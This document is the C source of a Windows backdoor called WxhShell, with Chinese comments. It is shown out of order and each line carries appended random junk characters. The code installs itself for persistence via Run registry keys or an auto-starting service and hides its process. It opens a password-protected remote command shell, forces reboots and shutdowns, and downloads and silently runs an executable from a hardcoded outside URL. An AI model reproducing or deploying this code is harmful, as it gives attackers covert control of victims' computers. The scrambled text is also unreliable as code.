    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m_r_4BP  
    if(Boot(SHUTDOWN)) ( O/+.qb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_=3Dz  
    else { $,B@yiie  
    closesocket(wsh); H He~OxWg  
    ExitThread(0); yX;v   
    } s~Od(,K  
    break; @@Vf"o+S  
    } )qx,>PL  
  // 获取shell j%OnLTZ  
  case 's': { "6 fTZ<  
    CmdShell(wsh); -( +/u .  
    closesocket(wsh); $NhKqA`0  
    ExitThread(0); ;&G8e* bM2  
    break; cakb.Q  
  } LVp*YOq7  
  // 退出 xt"GO  b  
  case 'x': { 3ws}E6\D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _rf  
    CloseIt(wsh); p;m2RHYF  
    break; N>4uqFo  
    } vd'd@T  
  // 离开 I!sB$=n  
  case 'q': { zE\@x+k.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); . ;q 4<_  
    closesocket(wsh); P(&9S`I  
    WSACleanup(); y #Xq@  
    exit(1); |lhVk\X  
    break; +yd(t}H@  
        } /|2#s%|-=  
  } ghd*EXrF H  
  } 1f^4J~{  
L(i*v5?  
  // 提示信息 ?Em*yc@WD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GP\Pk/E  
} ^UAL5}CQt  
  } s8]9OG3g  
xl~%hwBd  
  return; S<V__Sv  
} YaDr.?  
RZeU{u<O  
// shell模块句柄 px1{=~V/  
int CmdShell(SOCKET sock) uZ(j"y  
{ T7{Z0-  
STARTUPINFO si; -6KGQc}U  
ZeroMemory(&si,sizeof(si)); ki^c)Tqn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r{gJ[%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F! ;0eS"xp  
PROCESS_INFORMATION ProcessInfo; Z'~yUo=  
char cmdline[]="cmd"; a}+7MEUmZ/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G.} 3hd0  
  return 0; s]=s|  
} oG)JH)!  
,Si23S\  
// 自身启动模式 $MEKt}S  
int StartFromService(void) 1MCHwX3/  
{ t<6`?\Gk  
typedef struct |NcfR"[c  
{ ^"h`U'YC  
  DWORD ExitStatus; tGs=08`  
  DWORD PebBaseAddress; &T8prE?  
  DWORD AffinityMask; + fQ=G/  
  DWORD BasePriority; |*im$[g=-  
  ULONG UniqueProcessId; 5Q.bwl:  
  ULONG InheritedFromUniqueProcessId; #Pz},!7  
}   PROCESS_BASIC_INFORMATION; {yy ^DlHb  
uYPdmrPB?l  
PROCNTQSIP NtQueryInformationProcess; 8h#/b1\  
+Zx+DW cq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I4Ys ,n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z Lw=*  
8S>T1st  
  HANDLE             hProcess; P!{ O<P  
  PROCESS_BASIC_INFORMATION pbi; r2T-=XWB  
~5HI9A4^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K>TdN+Z}=  
  if(NULL == hInst ) return 0; UpgY}pf}  
,?+rM ;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (N U*PQY6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J@y1L]:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p*rBT,'  
byYdX'd.  
  if (!NtQueryInformationProcess) return 0; T3o}%wGW  
p AzPi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ; 2vHdN  
  if(!hProcess) return 0; ^3Ni  
JBCcR,\kM*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K YFumR  
i51~/ R  
  CloseHandle(hProcess); )POuH*j  
mJu;B3@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y#_,Ig5.  
if(hProcess==NULL) return 0; d* Y&V$?zl  
zQ$*!1FmN  
HMODULE hMod;  t]Xdzy  
char procName[255]; oXg KuR  
unsigned long cbNeeded; {|%N  
}Lx?RU+@=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J 21D/#v  
Ctxs]S tU%  
  CloseHandle(hProcess); SLL%XF~/Sb  
kmM1)- v  
if(strstr(procName,"services")) return 1; // 以服务启动 cbl2D5s+i]  
1pC!F ;9Oo  
  return 0; // 注册表启动 8 YAUy\  
} :0.Z/s -  
adh=Kp e!w  
// 主模块 31LXzQvFG  
int StartWxhshell(LPSTR lpCmdLine) e uS"C*  
{ @8TD^ub  
  SOCKET wsl; /'IOi`d  
BOOL val=TRUE;  UfEF>@0  
  int port=0; rS>JzbWa  
  struct sockaddr_in door; 9cAb\5c|  
I_J;/!l=  
  if(wscfg.ws_autoins) Install(); 0hXI1@8]`  
@X_x?N  
port=atoi(lpCmdLine); SUXRWFl  
ewqfs/  
if(port<=0) port=wscfg.ws_port; ^0 R.U+?+  
15_OtK  
  WSADATA data; 2JZf@x+}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w4 <FC$  
oBr/CW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }\`MXh's  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1@C0c%  
  door.sin_family = AF_INET; ^WP`;e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a3 <D1"  
  door.sin_port = htons(port); sB ]~=vUP  
w: ~66 TCI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q_5k2'4K  
closesocket(wsl); , gk49z9  
return 1; 7_taqcj  
} U7.3`qd"  
~]DGf(   
  if(listen(wsl,2) == INVALID_SOCKET) { V<AT"vU[  
closesocket(wsl); 5Ya TE<G  
return 1; OWFLw  
} o&1ewE(O]  
  Wxhshell(wsl); '$W@I  
  WSACleanup(); n'{cU(  
5bX SN$7|  
return 0; c4oQ4  
jEsP: H(0^  
}  Q0' xn  
'<~l% q  
// 以NT服务方式启动 j^T.7Zv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (,`ypD+3q  
{ 4mJ4)  
DWORD   status = 0; f( 5c  
  DWORD   specificError = 0xfffffff; ps"DL4*  
1+RG@Cp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LY[XPV]t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 40N8?kQ}?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5BCXI8Ox9x  
  serviceStatus.dwWin32ExitCode     = 0; TU{^/-l  
  serviceStatus.dwServiceSpecificExitCode = 0; Y  9]  
  serviceStatus.dwCheckPoint       = 0; *SQ hXTn  
  serviceStatus.dwWaitHint       = 0; ~h 6aw  
g4(B=G\j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L8N`<a5T  
  if (hServiceStatusHandle==0) return; `uy)][j-  
~isrE;N1|  
status = GetLastError(); *|ez|*-  
  if (status!=NO_ERROR) ~;k-/Z"  
{ Io*`hA]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4bqi&h3  
    serviceStatus.dwCheckPoint       = 0; b[Sd$ACd  
    serviceStatus.dwWaitHint       = 0; 9nlfb~ F~P  
    serviceStatus.dwWin32ExitCode     = status; 08{0i,Fs  
    serviceStatus.dwServiceSpecificExitCode = specificError; K O"U5v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~YKe:K+&z  
    return; bsy\L|wd  
  } bl NJ  
)#z c$D^U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cS/\&%7u  
  serviceStatus.dwCheckPoint       = 0; LO<R<zz  
  serviceStatus.dwWaitHint       = 0; @6 uB78U4O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n=l>d#}$%T  
} J`a$"G B.  
`q7O\  
// 处理NT服务事件,比如:启动、停止 m8;; O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1X2MhV  
{ sL|*0,#K  
switch(fdwControl) 7N,E%$QL  
{ n#Xi Co_\  
case SERVICE_CONTROL_STOP: "hi?/B#d  
  serviceStatus.dwWin32ExitCode = 0; ?47q0C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S/ )P&V%  
  serviceStatus.dwCheckPoint   = 0; VV O C-:  
  serviceStatus.dwWaitHint     = 0; P:vAU8d>  
  { {/G~HoY1i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yEyx.Mh.Af  
  } 4;'o`K~*  
  return; Y3+DTR0|'  
case SERVICE_CONTROL_PAUSE: iTF`sjL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }#5V t  
  break; m`gH5vQa  
case SERVICE_CONTROL_CONTINUE: e/JbRbZX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .6aC2A]es  
  break; n@  lf+  
case SERVICE_CONTROL_INTERROGATE: , f{<  
  break; x9q?^\x  
}; V/"UDof  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^.)oQo SE  
} ~kPHf_B;z  
]W39HL  
// 标准应用程序主函数 lYldq)qB{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "vI:B}  
{ UIgs/  
 |`[0U  
// 获取操作系统版本 ,Bax0p  
OsIsNt=GetOsVer(); tIfA]pE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <5(P4cm9  
_0dm?=  
  // 从命令行安装 &SuWmtq  
  if(strpbrk(lpCmdLine,"iI")) Install(); _Y@vO  
W5 ^eCYHoi  
  // 下载执行文件 4\ R2\  
if(wscfg.ws_downexe) { -l)vl<}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ? cU9~=  
  WinExec(wscfg.ws_filenam,SW_HIDE); KGb:NQ=O6i  
} f Ne9as  
.anXsjD%W  
if(!OsIsNt) { ;:2]++G  
// 如果时win9x,隐藏进程并且设置为注册表启动 F!.Z@y P  
HideProc(); 6D3hX>K4  
StartWxhshell(lpCmdLine); @=JOAo  
} OQ>8Q`  
else Z$ q{!aY  
  if(StartFromService()) `&y Qtj# '  
  // 以服务方式启动 {2"8^;  
  StartServiceCtrlDispatcher(DispatchTable); J=?`~?Vbo  
else 7u7`z%  
  // 普通方式启动 _wMxKM  
  StartWxhshell(lpCmdLine); hZ@frbuowk  
U4;r.#qw,  
return 0; APY^A6^:j  
} F6XrJ?JM  
*|WS,  
\Gm$hTvB&  
d[K71  
=========================================== &h^E_]P  
SQ&nQzL  
<&JK5$l<X  
\cJ?2^Eq  
5B6twn~[  
\%& BK.t  
" LB9D6,*t  
khFr%u ?S  
#include <stdio.h> LFvO[&  
#include <string.h> v'3.`aZ!  
#include <windows.h> ; '6`hZ  
#include <winsock2.h> WEy$SN+P  
#include <winsvc.h> { 3,_i66  
#include <urlmon.h>  W^dk:  
})#VO-J  
#pragma comment (lib, "Ws2_32.lib") -DAkVFsN  
#pragma comment (lib, "urlmon.lib") xib?XzxGo  
7\(m n$  
#define MAX_USER   100 // 最大客户端连接数 :c75*h`  
#define BUF_SOCK   200 // sock buffer |T`ZK?B+u  
#define KEY_BUFF   255 // 输入 buffer c,@&Z#IZ`  
U'4j+vUc  
#define REBOOT     0   // 重启 &.W,Hh  
#define SHUTDOWN   1   // 关机 8w4-Ud*$i  
T0HNld  
#define DEF_PORT   5000 // 监听端口 gR5 EK$  
jGm`Qg{<  
#define REG_LEN     16   // 注册表键长度 ky4 ;7RK  
#define SVC_LEN     80   // NT服务名长度 A]<+Aq@{  
)ZZjuFQJ)  
// 从dll定义API R:N4_4& C~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d `MTc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xA7>";sla[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (U_`Q1Jo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z%&$_-yJ  
sF. oZ>  
// wxhshell配置信息 stxei 6  
struct WSCFG {  6chcpP0  
  int ws_port;         // 监听端口 ^Pwtu  
  char ws_passstr[REG_LEN]; // 口令 l<3X:)  
  int ws_autoins;       // 安装标记, 1=yes 0=no )NF5,eD  
  char ws_regname[REG_LEN]; // 注册表键名 ov3FKMG?  
  char ws_svcname[REG_LEN]; // 服务名 PI G3kJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g2 RrBK,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z6'Cz}%EP'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [|qV*3 |?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;- 0 d2Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7C;oMh5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ra^0  
ZYS`M?Au  
}; bm>N~DC  
EKgY  
// default Wxhshell configuration r!+..c  
struct WSCFG wscfg={DEF_PORT, yN@3uYBF  
    "xuhuanlingzhe", W( 4Mvd  
    1, X&LaAqlSG  
    "Wxhshell", }yzCq+  
    "Wxhshell", QG1+*J76b@  
            "WxhShell Service", !l(D0 C  
    "Wrsky Windows CmdShell Service", ?8U#,qq#`  
    "Please Input Your Password: ", s7d4)A%  
  1, B3^F $6=  
  "http://www.wrsky.com/wxhshell.exe", omP\qOc  
  "Wxhshell.exe" Q6 oM$qiM  
    }; 0-P,zkK_v  
M&[bb $00j  
// 消息定义模块 8NZQTRdH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zi^?9n),  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d6+$[4w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s' 4O] k`  
char *msg_ws_ext="\n\rExit."; Vi m::  
char *msg_ws_end="\n\rQuit."; Rs@>LA  
char *msg_ws_boot="\n\rReboot..."; \V(w=   
char *msg_ws_poff="\n\rShutdown..."; ""f'L,`{.  
char *msg_ws_down="\n\rSave to "; 4j1$1C{  
Wa5B;X~  
char *msg_ws_err="\n\rErr!"; oBS m>V  
char *msg_ws_ok="\n\rOK!"; p3,m),  
[%c5MQ?H  
char ExeFile[MAX_PATH]; H:#sf][&,L  
int nUser = 0; !kxJ&VmeF  
HANDLE handles[MAX_USER]; h}y]Pt?  
int OsIsNt; Zxw cqN  
Z g.La<#  
SERVICE_STATUS       serviceStatus; 6!Q,X Hs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; | LX Vf  
]?7q%7-e.a  
// 函数声明 %y{'p:  
int Install(void); Q2>o+G  
int Uninstall(void); |1pD n7  
int DownloadFile(char *sURL, SOCKET wsh); BROn2aSx%  
int Boot(int flag); [C#H _y(  
void HideProc(void); r!<)CT}D  
int GetOsVer(void); diWi0@  
int Wxhshell(SOCKET wsl); G"F)t(iX  
void TalkWithClient(void *cs); g-~]^$  
int CmdShell(SOCKET sock); _. &N@k  
int StartFromService(void); *Y':raP  
int StartWxhshell(LPSTR lpCmdLine); ?CD[jX}!  
e?7Oom  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8B`w!@hf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L,O.XR  
%<O0Yenu  
// 数据结构和表定义 Bwc_N.w?3  
SERVICE_TABLE_ENTRY DispatchTable[] = _Rb>py  
{ w{WEYS  
{wscfg.ws_svcname, NTServiceMain}, ,hOi5,|?L  
{NULL, NULL} b5S4C2Ynq  
}; fm0]nT   
#F=!g?  
// 自我安装 :+_  
int Install(void) eakQZ-Q  
{ Q_)$Ha{>H,  
  char svExeFile[MAX_PATH]; r>ag( ^J\  
  HKEY key; BR-4L2[  
  strcpy(svExeFile,ExeFile); udOdXz6K?  
Aw]kQ\P&  
// 如果是win9x系统,修改注册表设为自启动 ES\=MO5a7  
if(!OsIsNt) { e-Z ul.m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @R_ON"h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OWc~=Cr  
  RegCloseKey(key); I}+9@d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X7rsO^}W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J(:y-U  
  RegCloseKey(key); !C@+CZXLx  
  return 0; 050V-S>s  
    } /5Sd?pW;  
  } [(2XL"4D  
} jN AS'JV  
else { 1+#E|YWJ  
N;v]ypak  
// 如果是NT以上系统,安装为系统服务 |s,y/svp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K: |-s4=  
if (schSCManager!=0) (]` rri*^  
{  20]p<  
  SC_HANDLE schService = CreateService jp7cPpk:LG  
  ( NRT@"3,1YP  
  schSCManager, z?@N+||,.  
  wscfg.ws_svcname, 7]_zWx,r  
  wscfg.ws_svcdisp, "vX\Q rL  
  SERVICE_ALL_ACCESS, kEp{L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j[A:So  
  SERVICE_AUTO_START, [:zP]l.|  
  SERVICE_ERROR_NORMAL, iS< ^MD  
  svExeFile, F1t+D)KA>  
  NULL, uO)vGzt3^x  
  NULL, 2;K2|G7  
  NULL, ZfXgVTJ`  
  NULL, &x\cEI)!  
  NULL 4t-l@zFWb  
  ); #5=W[+4eN  
  if (schService!=0) CFUn1^?0  
  { *L~?.9R  
  CloseServiceHandle(schService); nkzH}F=<  
  CloseServiceHandle(schSCManager); 6 ZAZJn|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PQ{5*}$N  
  strcat(svExeFile,wscfg.ws_svcname); n1x"B>3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WXY-]ir.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ B'AXv 6  
  RegCloseKey(key); G +&pq  
  return 0; e$Mvl=NYp\  
    } ?G<ISiABQC  
  } 4Y{;%;-i  
  CloseServiceHandle(schSCManager); y\ })C-&  
} S!n?b|_  
} LLKYcy  
f40OVT@g  
return 1; 9o4h~Imu  
} "}Ikx tee  
kE:{#>[Uz  
// 自我卸载 OIIA^QyV  
int Uninstall(void) :H:Se  
{ aU@1j;se@  
  HKEY key; R9(Yi<CC  
Dr76+9'i  
if(!OsIsNt) { Sx8C<S5r<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~(#iGc]7  
  RegDeleteValue(key,wscfg.ws_regname); 7X)4ec9H\  
  RegCloseKey(key); 0cDP:EzR;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RL )~J4Y  
  RegDeleteValue(key,wscfg.ws_regname); GKKDO+A=!  
  RegCloseKey(key); ?\kuP ?\  
  return 0; <xe_t=N  
  } Cg|\UKfy$  
} _ds;:*N+qA  
} %E"v@  
else { {VXucGI|  
~ToU._  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); do*aE  
if (schSCManager!=0) (AX$S vw  
{ uQ&> Wk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ` Z/ MQ  
  if (schService!=0) e0#t  
  { 'tDUPm38  
  if(DeleteService(schService)!=0) { xI.0m  
  CloseServiceHandle(schService); ~4|Trz2T  
  CloseServiceHandle(schSCManager); 'c_K[p$  
  return 0; d"n"A?nXh  
  } (tX)r4VU  
  CloseServiceHandle(schService); $$uMu{?0i  
  } M%Ksyr9  
  CloseServiceHandle(schSCManager); eco&!R[G  
} [ [pt~=0  
} .wmqaLd%  
!Qf*d;wxn(  
return 1; |fIyq}{7  
} f$tm<:)Y  
T:Ovh.$  
// 从指定url下载文件 a4gX@&it_k  
int DownloadFile(char *sURL, SOCKET wsh) AW E ab  
{ ?z <-Ww  
  HRESULT hr; JypP[yQ  
char seps[]= "/"; bdLi _k  
char *token; I!Z"X&  
char *file; i(OeE"YA  
char myURL[MAX_PATH]; ~@)s)K  
char myFILE[MAX_PATH]; /[D_9  
U82mO+}  
strcpy(myURL,sURL); =R~zD4{"  
  token=strtok(myURL,seps); 2gZ nrU  
  while(token!=NULL) Dx`-h#  
  { 0AdxV?6z  
    file=token; Fi;H   
  token=strtok(NULL,seps); Y9>92#aME  
  } H9PnJr8 \  
1q@R04i  
GetCurrentDirectory(MAX_PATH,myFILE); "wuO[c&%/  
strcat(myFILE, "\\"); <hj2'd U  
strcat(myFILE, file); GmaNi  
  send(wsh,myFILE,strlen(myFILE),0); t=xEUOQAn  
send(wsh,"...",3,0); qTN%9!0@9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W &:0J  
  if(hr==S_OK) F>3 o0ke}  
return 0; N_S~&(I|  
else RGs7Hc  
return 1; ."=%]l 0  
|q 8N$m  
} la)^`STh  
1DhC,)+D}q  
// 系统电源模块 d6 ef)mw  
int Boot(int flag) vV*J;%MO  
{ UAT\ .  
  HANDLE hToken; 9cUa@;*1  
  TOKEN_PRIVILEGES tkp; eU@Mv5&6  
5 7t.Ud  
  if(OsIsNt) { w/ (c}%v}=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '"\'<>Be  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J{-`&I'b  
    tkp.PrivilegeCount = 1; 11YJ W-V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S2;^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [U8/nT  
if(flag==REBOOT) { -egnMc67  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \~z$'3H`  
  return 0; LiV&47e*>  
} jx}'M$TA  
else { )\ceanS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7=9>yba)^  
  return 0; lZ.lf.{F  
} TH'8^wf  
  } ~/9RSdv7  
  else { VOZxLyj^9  
if(flag==REBOOT) { VQ| {Q}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %),u0:go  
  return 0; BZHoRd{EH  
} ]W14'Z  
else { ~F@n `!c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .pQ5lK(R  
  return 0; cS7\,/4S  
}  +:-xV  
} )J> dGIb  
c6#E gN,X  
return 1; -` ViuDX=  
} y|KQ`;  
h=gtuaR4  
// win9x进程隐藏模块 8K-P]]  
void HideProc(void) W h9L!5  
{ ;"x+V gS'  
E V)H>kM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3CjixXaA$  
  if ( hKernel != NULL ) aG^E^^Y  
  { _^#eO`4"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +cqUp6x.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q,@# cQBV  
    FreeLibrary(hKernel); )Yy5u'}  
  } 1xd6p  
T+@i;M  
return; Yq6 @R|u  
} CYgokS\=,  
>Ti%Th,  
// 获取操作系统版本 J ( d[05x0  
int GetOsVer(void) Ih|4ISI  
{ ,++HiYOG}e  
  OSVERSIONINFO winfo; 8R!-,I"$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0VtjVz*C7&  
  GetVersionEx(&winfo); Q|h$D~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X5[vQ3^  
  return 1; anbw\yh8  
  else \f? K74  
  return 0; _Ffg"xoC  
} " WQ6[;&V  
5(J?C-Pk  
// 客户端句柄模块 D^6iQW+.P  
int Wxhshell(SOCKET wsl) SfC* ZM}<  
{ ||QK)$"  
  SOCKET wsh; O}Pqbx&  
  struct sockaddr_in client; )5~T%_  
  DWORD myID; QJ;dw8  
1g{}O^ul  
  while(nUser<MAX_USER) zHZfp_I  
{ [znN 'Fg:"  
  int nSize=sizeof(client); |~ fI=1;;x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uK$ Xqo%L  
  if(wsh==INVALID_SOCKET) return 1; ~S Bb2*ID  
u1M8nb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cYK:Y!|`F  
if(handles[nUser]==0) F&R*njJcc  
  closesocket(wsh); RVttk )Ny  
else TG$ #aX\'  
  nUser++; C0N}B1-MU  
  } O[t?*m1/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }k-8PG =  
^rO"U[To  
  return 0; JS^DyBXc  
} G`O*AQ}[  
rP7 QW)NF  
// 关闭 socket B._YT   
void CloseIt(SOCKET wsh) r/'!#7dLG-  
{ Y?J/KW3  
closesocket(wsh); 5aW#zgxXg  
nUser--; 0j(U &  
ExitThread(0); =bC'>qw}  
} /7#e  
T^|k`  
// 客户端请求句柄 %AA&n*m  
void TalkWithClient(void *cs) ]b%U9hmL^f  
{ ZN $%\,<  
er7(Wph  
  SOCKET wsh=(SOCKET)cs; sk39[9  
  char pwd[SVC_LEN]; !;,\HvEZYw  
  char cmd[KEY_BUFF]; -#9et30  
char chr[1]; =YgH-{  
int i,j;  d=^QK{8  
Pb?vi<ug+  
  while (nUser < MAX_USER) { :FI D ,  
F ><_gIT  
if(wscfg.ws_passstr) { >4luZnWMI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XN Uw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /-FV1G,h  
  //ZeroMemory(pwd,KEY_BUFF); V/2NIh  
      i=0; '[liZCg  
  while(i<SVC_LEN) { J^jd@E  
f^1J_}cL  
  // 设置超时 &Ril[siw  
  fd_set FdRead; KF+r25uy[+  
  struct timeval TimeOut; aUEr& $  
  FD_ZERO(&FdRead); fub04x)  
  FD_SET(wsh,&FdRead); <DR|r  
  TimeOut.tv_sec=8; "NA<^2W@J  
  TimeOut.tv_usec=0; XyN " Jr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g&y (-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <A Hzs  
mTtaqo_Bh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 46D`h!7L  
  pwd=chr[0]; 9zqo!&  
  if(chr[0]==0xd || chr[0]==0xa) { v[ML=pL  
  pwd=0; v%cCJ SO#  
  break; B_ict)}ld  
  } G3^<l0?S  
  i++; >eG<N@13p  
    } v2rO>NY4  
K:'^f? P  
  // 如果是非法用户,关闭 socket 85G-`T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E5rV}>(Y  
} fV>d_6Lf}  
hQj@D\}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); } uS0N$4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N!~]D[D  
]$L5}pE3  
while(1) { (o B4*  
R`<2DC>h9  
  ZeroMemory(cmd,KEY_BUFF); 7BU7sQjs  
:<zIWje  
      // 自动支持客户端 telnet标准   H5Eso*v@  
  j=0; ZN)EbTpc\a  
  while(j<KEY_BUFF) { <(>t"<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jg=!GU/::  
  cmd[j]=chr[0]; "!zJQl@  
  if(chr[0]==0xa || chr[0]==0xd) { :po6%}hn  
  cmd[j]=0; ;: _K,FU  
  break; j8Z;}Ps  
  } K\9CW%W  
  j++; E} XmZxHV  
    } tIDN~[1  
 :2nsi4  
  // 下载文件 \:{K",2  
  if(strstr(cmd,"http://")) { YOLzCnI4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sk+XBX(}  
  if(DownloadFile(cmd,wsh)) $|g1 _;(G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;CNWJtcf(  
  else y*^UGJC:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kQbZ!yl>[  
  } rmA?Xlh\  
  else { 03 gbcNo  
FhY#3-jH  
    switch(cmd[0]) { R&(OWF;~,  
